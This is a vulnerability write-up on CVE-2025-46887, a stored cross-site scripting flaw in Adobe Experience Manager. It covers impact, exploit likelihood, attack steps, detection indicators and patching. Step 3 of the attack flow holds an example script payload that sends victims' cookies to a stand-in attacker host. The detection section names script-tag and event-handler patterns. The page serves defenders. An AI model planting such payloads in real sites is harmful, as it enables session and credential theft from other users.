CVE-2025-46887: 
Adobe Experience Manager vulnerability analysis and mitigation

CVE-2025-46887 is a stored Cross-Site Scripting (XSS) vulnerability in Adobe Experience Manager (AEM) that allows a low-privileged attacker to inject malicious scripts into vulnerable form fields. Affected versions include AEM 6.5.22 and earlier, as well as AEM Cloud Service versions prior to 2025.5.0. The vulnerability was published on June 10, 2025, with a patch made available via Adobe's security advisory APSB25-48. It carries a CVSS v3.1 base score of 5.4 (Medium) (Adobe Advisory).

The vulnerability is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting), specifically of the stored (persistent) variant. A low-privileged authenticated attacker can inject malicious JavaScript payloads into form fields within AEM, which are then stored server-side and rendered without proper sanitization when other users visit the affected page. Exploitation requires user interaction (a victim browsing to the page containing the malicious field) but does not require elevated privileges beyond a basic authenticated account (Adobe Advisory).

Successful exploitation allows an attacker to execute arbitrary JavaScript in the browser of any user who visits the page containing the injected payload. This can result in session token theft, credential harvesting, unauthorized actions performed on behalf of the victim within the AEM application, and potential compromise of user data or application functionality. The vulnerability has a changed scope, meaning the impact extends beyond the attacker's own session to affect other users of the platform (Adobe Advisory).

There is currently no public proof-of-concept exploit code and no evidence of in-the-wild exploitation for CVE-2025-46887. The EPSS score is approximately 0.029%, indicating a low probability of exploitation in the near term. No threat actor attribution has been reported, and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog (Adobe Advisory).

1. Reconnaissance: Identify an AEM instance running version 6.5.22 or earlier, or AEM Cloud Service prior to 2025.5.0, and obtain a low-privileged authenticated account.
2. Identify vulnerable form fields: Browse the AEM authoring interface to locate form fields that accept and store user-supplied input without adequate output encoding.
3. Inject malicious payload: Submit a crafted XSS payload (e.g., <script>document.location='https://attacker.com/steal?c='+document.cookie</script>) into the vulnerable form field and save the content.
4. Payload persistence: The malicious script is stored server-side within AEM's content repository.
5. Victim triggers execution: When a victim (e.g., an administrator or another user) browses to the page containing the injected field, the malicious JavaScript executes in their browser, potentially stealing session cookies or performing actions on their behalf (Adobe Advisory).

• Logs: AEM access logs showing POST requests to content authoring endpoints containing encoded script tags or JavaScript event handlers (e.g., <script>, onerror=, onload=) in form field parameters.
• File System / Content Repository: Unexpected JavaScript payloads stored within AEM's JCR (Java Content Repository) nodes, particularly in page properties or form component fields.
• Network: Outbound HTTP requests from victim browsers to unknown external domains shortly after visiting AEM-hosted pages, potentially indicating cookie or credential exfiltration.
• Logs: Browser-side console errors or CSP violation reports triggered by unexpected inline script execution on AEM pages.

Adobe has released patched versions addressing this vulnerability: AEM 6.5.23 (for on-premise deployments) and AEM Cloud Service 2025.5.0 or later. Organizations should upgrade to these versions as the primary remediation. As supplementary controls, administrators should implement a strict Content Security Policy (CSP), enforce input validation and output encoding for all user-supplied content, regularly audit user-generated content for suspicious scripts, and apply the principle of least privilege to limit which users can author content (Adobe Advisory).

The Center for Internet Security (CIS) issued an advisory noting multiple vulnerabilities in Adobe products, including CVE-2025-46887, that could allow for arbitrary code execution in broader attack chains (CIS Advisory). No significant independent researcher commentary or notable social media discussion has been identified for this specific CVE at this time.